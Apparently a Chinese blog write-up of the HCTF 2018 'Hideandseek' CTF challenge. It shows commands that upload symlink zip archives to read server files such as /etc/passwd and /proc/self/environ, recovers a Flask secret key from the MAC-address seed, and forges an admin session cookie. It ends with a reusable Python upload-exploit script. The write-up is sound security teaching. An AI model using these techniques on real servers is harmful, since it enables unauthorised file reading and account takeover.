BUU [HCTF 2018]Hideandseek

2023-09-16 18:50:35

BUU [HCTF 2018]Hideandseek

考点:

  1. 软连接读取任意文件
  2. Flask伪造session
  3. /proc/self/environ文件获取当前进程的环境变量列表
  4. random.seed()生成的伪随机数种子
  5. MAC地址(存放在/sys/class/net/eth0/address文件)

国赛的时候遇见过软连接,这次再来学习一下,也算是一个心病了。

先介绍一下什么是软连接。


Linux中包括两种链接:硬链接(Hard Link)软链接(Soft Link),软链接又称为符号链接(Symbolic link)。

【硬连接】
硬连接指通过索引节点来进行连接。在Linux的文件系统中,保存在磁盘分区中的文件不管是什么类型都给它分配一个编号,称为索引节点号(Inode Index)。在Linux中,多个文件名指向同一索引节点是存在的。一般这种连接就是硬连接。硬连接的作用是允许一个文件拥有多个有效路径名,这样用户就可以建立硬连接到重要文件,以防止“误删”的功能。其原因如上所述,因为对应该目录的索引节点有一个以上的连接。只删除一个连接并不影响索引节点本身和其它的连接,只有当最后一个连接被删除后,文件的数据块及目录的连接才会被释放。也就是说,文件真正删除的条件是与之相关的所有硬连接文件均被删除。硬链接说白了是一个指针,指向文件索引节点,系统并不为它重新分配inode。

image-20230904233324632

【软连接】
软连接是linux中一个常用命令,它的功能是为某一个文件在另外一个位置建立一个不同的链接。实际应用是:当 我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在其它的 目录下用ln命令 链接(link)就可以,不必重复的占用磁盘空间。

[索引节点(inode)]

要了解链接,我们首先得了解一个概念,叫索引节点(inode)。在Linux系统中,内核为每一个新创建的文件分配一个Inode(索引结点),每个文件都有一个惟一的inode号,我们可以将inode简单理解成一个指针,它永远指向本文件的具体存储位置。文件属性保存在索引结点里,在访问文件时,索引结点被复制到内存在,从而实现文件的快速访问。系统是通过索引节点(而不是文件名)来定位每一个文件。


软连接用法:

创建软链接

ln -s [源文件或目录] [目标文件或目录]

//当前路径创建test 引向/var/www/test 文件夹 
ln –s  /var/www/test  test

//创建/var/test 引向/var/www/test 文件夹 
ln –s  /var/www/test   /var/test

删除软链接

//删除test
rm –rf test

修改软链接

ln –snf [新的源文件或目录] [目标文件或目录]

这将会修改原有的链接地址为新的地址

//创建一个软链接
ln –s /var/www/test /var/test

//修改指向的新路径
ln –snf /var/www/test1 /var/test

常用参数:

-f : 链结时先将与 dist 同档名的档案删除
-d : 允许系统管理者硬链结自己的目录
-i : 在删除与 dist 同档名的档案时先进行询问
-n : 在进行软连结时,将 dist 视为一般的档案
-s : 进行软链结(symbolic link)
-v : 在连结之前显示其档名
-b : 将在链结时会被覆写或删除的档案进行备份
-S SUFFIX : 将备份的档案都加上 SUFFIX 的字尾
-V METHOD : 指定备份的方式
–help : 显示辅助说明
–version : 显示版本


开始做题。

image-20230904235831283

当前页面只有登录一个功能可以用,其他都不会跳转。尝试登录。

发现任意用户密码均可登录,但是唯独不能登录admin。

image-20230905000046680

登录后有一个上传文件点。提示我们上传.zip后缀的压缩包。

image-20230905000029173

随便上传一个.php试试水,发现只能上传.zip压缩包。

image-20230905000610108

压缩包很容易让人想到软连接,尝试先随便上传一个.zip压缩包。没有任何回显。

image-20230905113628143

然后上传一个内容为软连接的压缩包,尝试读取/etc/passwd文件。

linux中输入命令制作软连接压缩包。

ln -s /etc/passwd passwd
zip -y passwd.zip passwd

rm –rf passwd

image-20230905114442570

然后上传,发现成功回显服务端/etc/passwd的内容。

image-20230905115301828

那理论上来说,我们也能直接读取/flag的内容。但是尝试了一下却失败了。。。

猜测可能是权限不足,需要以admin身份登录才能有权限读取/flag。如何登录admin,信息搜集一下发现了session,服务端应该是通过session判断身份的,我们需要伪造session。同时,通过session判断出使用了flask的框架。

image-20230905115550975

下载一个工具flask_unsign,文件夹内开终端。工具只能解密爆破不出密码,只能自己找了。

flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6IjExMSJ9.F9gzQg.rUpgzWsMZS-4g4XKmZ3GL1-bRPQ'

得到{'username': '111'}

image-20230905115942110

伪造session需要secret_key,尝试找一下源码。

因为已经通过软连接读取任意文件,我们尝试读取/proc/self/environ文件,以获取当前进程的环境变量列表,包括flask下的环境变量。
解释以下,其中/proc是虚拟文件系统,存储当前运行状态的一些特殊文件,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,而/environ是当前进程的环境变量列表。

ln -s /proc/self/environ self
zip -y self.zip self

rm –rf self

成功读取/proc/self/environ文件后。

image-20230905121847888

我们注意到UWSGI_INI=/app/uwsgi.ini。也就是uwsgi服务器的配置文件,其中可能包含有源码路径。

client —> nginx —> uwsgi --> flask后台程序 (生产上一般都用这个流程)

我们以同样的方式制作软连接读取

ln -s /app/uwsgi.ini uwsgi
zip -y uwsgi.zip uwsgi

rm –rf uwsgi

image-20230905121928718

得到源码路径,但是BUU环境有问题,这种做法当时比赛读到的源码路径是/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py,我们也以这个路径来做题,继续软连接读取源码。

ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py main
zip -y main.zip main

rm –rf main

Ctrl+U看得更加清楚一点。

image-20230905122141655

 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

浏览源码,SECRET_KEY是由python的随机函数random()生成的,种子是uuid.getnode()。和PHP一样,python的random()函数也是伪随机数,只要我们知道了种子uuid.getnode()是多少,拿到随机数生成的密钥SECRET_KEY不是问题。

image-20230905123404478

python中uuid.getnode()方法以48正整数形式获取硬件地址,也就是服务器的MAC地址。

image-20230905122713947

现在的逻辑是这样的。MAC地址=》随机数种子=》SECRET_KEY=》伪造session=》admin登录=》flag。

查找到MAC地址存放在/sys/class/net/eth0/address文件中,软连接读取该文件:

ln -s /sys/class/net/eth0/address mac
zip -y mac.zip mac

rm –rf mac

也有其他方法找mac地址:
img

c6:1b:39:ac:ff:91c61b39acff91转十进制是217820234055569

image-20230905123426918

image-20230905124342582

本地跑一下密钥就出来。是76.9034879300039

image-20230905123740256

kali中flask_session_cookie_manager3工具文件夹下开终端。

python flask_session_cookie_manager3.py encode -s "76.9034879300039" -t "{'username': 'admin'}"

得到eyJ1c2VybmFtZSI6ImFkbWluIn0.ZPaw7Q.seTwvDjojrAUhJXF998kV7QYEKY

image-20230905123926670

成功登录admin账号,也不用再读取flag了,直接给了。

image-20230905124005684


找到一个软连接脚本:

import os
import requests
import sys


def make_zip():
    os.system('ln -s ' + sys.argv[2] + ' test_exp')
    os.system('zip -y test_exp.zip test_exp')


def run():
    make_zip()
    res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
    print(res.text)

    os.system('rm -rf test_exp')
    os.system('rm -rf test_exp.zip')


if __name__ == '__main__':
    run()
更多推荐

GaussDB之SQL Audit,面向应用开发的SQL审核工具

前言我们先从一个SQL语句说起(以某传统单机数据库为例)。也许这就是我们业务代码中潜藏的一个SQL语句,对于一个普通开发者来说,这个语句编写工整,逻辑清晰,没有什么问题,可以直接推到代码仓中交付上线。但是一个有经验的开发者或数据库管理员可能会发现这个SQL存在诸多的优化点:两张表的id字段是否有索引?like语句不符合

提升开发效率的低代码思路

目录一、低代码如何快速开发?1.可视化开发2.预构建的组件和模板3.集成的开发和测试工具4.跨平台兼容性5.可伸缩性和可扩展性二、前后端分离的开发框架技术架构部署方式应用入口三、小结低代码开发工具正在日益变得强大,它正不断弥合着前后端开发之间的差距。对于后端来说,基于低代码平台开发应用时,完全不用担心前端的打包、部署等

如何申请办理400电话?

导语:随着企业的发展和市场竞争的加剧,越来越多的企业开始意识到拥有一个400电话的重要性。本文将介绍如何申请办理400电话,帮助企业提升客户服务质量和品牌形象。一、了解400电话的概念和优势400电话是一种企业客服电话号码,以400开头,可以通过固定电话和手机拨打。相比于普通电话号码,400电话具有以下优势:全国范围内

【C++】构造函数初始化列表 ③ ( 构造函数 的 初始化列表 中 为 const 成员变量初始化 )

文章目录一、构造函数的初始化列表中为const成员变量初始化1、初始化const常量成员2、错误代码示例-没有初始化常量成员3、正确代码示例-在初始化列表中初始化常量成员4、完整代码示例构造函数初始化列表总结:初始化列表可以为类的成员变量提供初始值;初始化列表可以调用类的成员变量类型的构造函数进行成员变量初始化操作;初

【AI Business Model】人工智能的定义 | 了解 AI 的历史 | 简单理解什么是 “图灵测试“

💭写在前面:本章我们将讲解工业革命的定义、人工智能的定义以及第四次工业革命的特点。0x00人工智能的定义①WIKI百科定义:机器智能,技术使机器能够模拟人类的学习能力和问题解决能力。②在计算机领域的定义:为了实现某一目标,感知当前情况。决定行动以最大程度地实现该目标的代理,弱人工智能。③来自维基百科的AGI(人工通用

走进人工智能|自动驾驶 开启智能出行新时代

前言自动驾驶,也被称为无人驾驶或自动驾驶汽车,是指能够在没有人类干预的情况下自主地感知环境、决策和控制车辆行驶的技术和系统。文章目录前言主题发展趋势自动驾驶等级L0级自动驾驶L1级别自动驾驶L2级别自动驾驶L3级别自动驾驶L4级别自动驾驶L5级别自动驾驶小结应用领域核心技术传感器技术激光雷达传感器摄像头传感器超声波传感

讯飞星火认知大模型V2.0:迈向认知计算的全新时代

🌷🍁博主猫头虎带您GotoNewWorld.✨🍁🦄博客首页——猫头虎的博客🎐🐳《面试题大全专栏》文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~🌺🌊《IDEA开发秘籍专栏》学会IDEA常用操作,工作效率翻倍~💐🌊《100天精通Golang(基础入门篇)》学会Golang语言,畅玩云原生,走遍大

Learn Prompt-ChatGPT 精选案例:学习助理

ChatGPT作为学习助理的强大是在于对个人需求的定制化回复。建立知识网络建立新知识和已有知识的链接。在知识之间建立链接不仅可以产生新的灵感而且还会在大脑的信息之间建立新的连接,让我们提取知识更加的可靠、高效。通过查看更多的例子可以帮助我们理解知识,例如在学习新概念时,可以向ChatGPT获取例子来帮助理解。实时反馈C

面向面试知识-Redis

面向面试知识-Redis什么是Redis运行于内存的基于key-value的非关系型数据库。一款开源的内存数据结构存储,用作数据库、缓存、消息代理等。(可以基于Redis实现分布式锁、以及消息队列)发布订阅??对数据类型的操作都是原子性的,因为执行命令由单线程负责,不存在并发竞争的问题。除此之外,Redis还支持:Re

日志的艺术

良好的日志是运维、开发人员排查问题的好工具,本文建议定义JSON格式的结构化日志格式,从而有效优化人工以及机器排查日志的效能,并能方便创建机器索引。原文:TheArtofLoggingViktorTalashuk@Unsplash从历史上看,日志对于诊断应用程序和基础设施性能非常重要,被广泛应用于业务仪表板的可视化和性

MySQL数据库详解 五:用户管理

文章目录1.数据库的用户管理1.1新建用户1.2重命名用户1.3删除用户1.4修改用户密码1.5忘记用户密码的解决方法1.6数据库用户授权1.6.1授权用户权限类别1.6.2添加权限1.6.2撤销权限2.mysql命令1.数据库的用户管理1.1新建用户createuser'用户名'@'来源地址'[identifiedb

热文推荐